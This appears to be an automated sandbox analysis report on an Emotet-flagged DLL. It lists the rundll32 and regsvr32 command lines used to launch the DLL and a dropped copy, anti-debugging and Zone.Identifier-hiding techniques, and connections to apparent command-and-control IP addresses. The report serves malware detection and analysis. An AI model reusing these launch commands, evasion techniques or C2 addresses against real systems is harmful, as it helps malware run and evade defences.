Source: svchost.exe, 0000000D.00000003.292430167.000001F3B6631000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000D.00000002.316168558.000001F3B6613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316298462.000001F3B663D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315285577.000001F3B6645000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.315285577.000001F3B6645000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000D.00000003.315146767.000001F3B6640000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000D.00000002.316293427.000001F3B663A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.292430167.000001F3B6631000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000D.00000003.314531207.000001F3B6649000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.316319052.000001F3B664E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown

DNS traffic detected: queries for: store-images.s-microsoft.com

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_6EB4CB52 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,

5_2_6EB4CB52

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EB465A0 SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

3_2_6EB465A0

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 4.2.rundll32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.2b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.10d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.4c90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.10d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.4c90000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.4b80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.2b80000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.10000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.773000453.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.257029910.00000000010D0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.257963614.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.260001868.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.257163144.0000000010001000.00000020.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.257451642.0000000004C90000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.259383580.0000000002B80000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.772657336.0000000004B80000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Source: aew.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Windows\SysWOW64\regsvr32.exe

File deleted: C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm:Zone.Identifier

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

File created: C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB76E02	2_2_6EB76E02
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB73FA6	2_2_6EB73FA6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB73A62	2_2_6EB73A62
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB7469E	2_2_6EB7469E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB757F1	2_2_6EB757F1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB647FD	2_2_6EB647FD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB4E423	2_2_6EB4E423
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB7351E	2_2_6EB7351E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB6B3E5	2_2_6EB6B3E5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB76E02	3_2_6EB76E02
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB73FA6	3_2_6EB73FA6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB73A62	3_2_6EB73A62
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB7469E	3_2_6EB7469E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB757F1	3_2_6EB757F1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB647FD	3_2_6EB647FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB4E423	3_2_6EB4E423
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB7351E	3_2_6EB7351E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB6B3E5	3_2_6EB6B3E5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB76E02	5_2_6EB76E02
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB73FA6	5_2_6EB73FA6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB73A62	5_2_6EB73A62
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB7469E	5_2_6EB7469E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB757F1	5_2_6EB757F1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB647FD	5_2_6EB647FD
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB4E423	5_2_6EB4E423
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB7351E	5_2_6EB7351E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB6B3E5	5_2_6EB6B3E5

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6EB664FB appears 144 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6EB6652E appears 41 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6EB66608 appears 85 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6EB6ADDA appears 43 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EB664FB appears 61 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EB66608 appears 46 times

Source: aew.dll

Binary or memory string: OriginalFilenameColorSelector.EXET vs aew.dll

Source: aew.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: aew.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior

Source: aew.dll	Virustotal: Detection: 61%
Source: aew.dll	Metadefender: Detection: 31%
Source: aew.dll	ReversingLabs: Detection: 64%

Source: aew.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\aew.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aew.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\aew.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aew.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterClass
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterServer
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\aew.dll,DllUnregisterServer
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aew.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\aew.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterClass	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\aew.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\aew.dll,DllUnregisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aew.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe /s "C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D105A4D4-344C-48EB-9866-EE378D90658B}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@25/8@1/48

Source: C:\Windows\SysWOW64\regsvr32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aew.dll",#1

Source: C:\Windows\System32\conhost.exe

Mutant created: \BaseNamedObjects\Local\SM0:6588:120:WilError_01

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB456B0 _malloc,LoadResource,SizeofResource,VirtualAllocExNuma,VirtualAlloc,memcpy,malloc,??3@YAXPAX@Z,_printf,

2_2_6EB456B0

Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: aew.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: aew.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: aew.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: aew.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: aew.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: aew.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB6664D push ecx; ret	2_2_6EB66660
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB665D3 push ecx; ret	2_2_6EB665E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB6664D push ecx; ret	3_2_6EB66660
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB665D3 push ecx; ret	3_2_6EB665E6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB6664D push ecx; ret	5_2_6EB66660
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB665D3 push ecx; ret	5_2_6EB665E6

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB7189F LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

2_2_6EB7189F

Source: aew.dll

Static PE information: real checksum: 0x804af should be: 0x7dc1c

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\aew.dll

Source: C:\Windows\SysWOW64\regsvr32.exe

PE file moved: C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\SysWOW64\regsvr32.exe	File opened: C:\Windows\SysWOW64\Iwjnrtcqqbgfsi\wfsnntpgtibz.klm:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Elzsc\mcmuzh.dch:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB4A1F1 IsIconic,GetWindowPlacement,GetWindowRect,	3_2_6EB4A1F1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB46170 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	3_2_6EB46170
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB4A1F1 IsIconic,GetWindowPlacement,GetWindowRect,	5_2_6EB4A1F1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB46170 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	5_2_6EB46170

Source: C:\Windows\SysWOW64\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 6552

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\SysWOW64\regsvr32.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_2-18634
Source: C:\Windows\SysWOW64\regsvr32.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_2-19013
Source: C:\Windows\SysWOW64\rundll32.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_3-21917

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 4.4 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 4.1 %
Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 3.7 %

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB669AB VirtualQuery,GetSystemInfo,GetModuleHandleW,GetProcAddress,VirtualAlloc,VirtualProtect,

2_2_6EB669AB

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB57121 __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,		3_2_6EB57121
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB57121 __EH_prolog3_GS,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,		5_2_6EB57121

Source: C:\Windows\SysWOW64\regsvr32.exe	API call chain: ExitProcess graph end node	graph_2-19014
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_3-22126
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_3-22056
Source: C:\Windows\SysWOW64\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-23561

Source: C:\Windows\SysWOW64\regsvr32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: svchost.exe, 00000006.00000002.613115641.0000020AB4029000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWmf
Source: svchost.exe, 00000006.00000002.613441305.0000020AB9662000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Hyper-V RAW
Source: svchost.exe, 00000006.00000002.613420221.0000020AB964C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000B.00000002.772456656.000002677F468000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.772396170.000001F0D1629000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB63DE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_6EB63DE0

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB669AB VirtualProtect ?,-00000001,00000104,?

2_2_6EB669AB

Source: C:\Windows\SysWOW64\regsvr32.exe

2_2_6EB7189F

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB44010 GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,memcpy,

2_2_6EB44010

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB6DF1C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EB6DF1C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB63DE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6EB63DE0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_6EB68788 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6EB68788
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB6DF1C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6EB6DF1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB63DE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6EB63DE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EB68788 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6EB68788
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB6DF1C __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_6EB6DF1C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB63DE0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_6EB63DE0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_6EB68788 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_6EB68788

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 209.15.236.39 144	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 162.244.80.68 187	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 31.24.158.56 144	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 209.126.98.206 144	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 195.154.253.60 144	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\aew.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	2_2_6EB72D4B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: _strcpy_s,GetLocaleInfoA,__snwprintf_s,LoadLibraryA,	2_2_6EB505A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	3_2_6EB72D4B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strcpy_s,GetLocaleInfoA,__snwprintf_s,LoadLibraryA,	3_2_6EB505A6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	5_2_6EB72D4B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: _strcpy_s,GetLocaleInfoA,__snwprintf_s,LoadLibraryA,	5_2_6EB505A6

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 2_2_6EB6CA8E GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

2_2_6EB6CA8E

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EB701F3 __lock,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,__getenv_helper_nolock,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

3_2_6EB701F3

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EB4A04F _memset,GetVersionExA,

3_2_6EB4A04F

Lowering of HIPS / PFW / Operating System Security Settings

